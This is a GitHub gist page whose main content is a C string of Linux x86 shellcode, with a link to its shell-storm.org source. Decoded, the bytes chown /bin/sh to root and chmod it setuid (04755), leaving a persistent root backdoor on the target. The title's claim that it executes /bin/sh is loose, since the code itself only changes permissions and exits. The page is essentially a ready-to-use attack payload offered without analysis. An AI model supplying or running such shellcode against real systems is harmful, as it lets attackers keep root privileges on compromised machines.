Skip to content

Instantly share code, notes, and snippets.

@0rbianta
Created January 31, 2021 11:08
Show Gist options
  • Save 0rbianta/a5ffad85e126e32e2cee28f0e83e3f49 to your computer and use it in GitHub Desktop.
Save 0rbianta/a5ffad85e126e32e2cee28f0e83e3f49 to your computer and use it in GitHub Desktop.
Linux x86 root shellcode when execute /bin/sh
char *shellcode=
"\xeb\x1f"
"\x31\xc0"
"\xb0\xb6"
"\x5b"
"\x31\xc9"
"\x31\xd2"
"\xcd\x80"
"\x31\xc0"
"\xb0\x0f"
"\x89\xdb"
"\x66\xb9\xed\x09"
"\xcd\x80"
"\x31\xc0"
"\xb0\x01"
"\x31\xdb"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"\x2f"
"\x62\x69\x6e"
"\x2f"
"\x73\x68";
//http://shell-storm.org/shellcode/files/shellcode-643.php
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment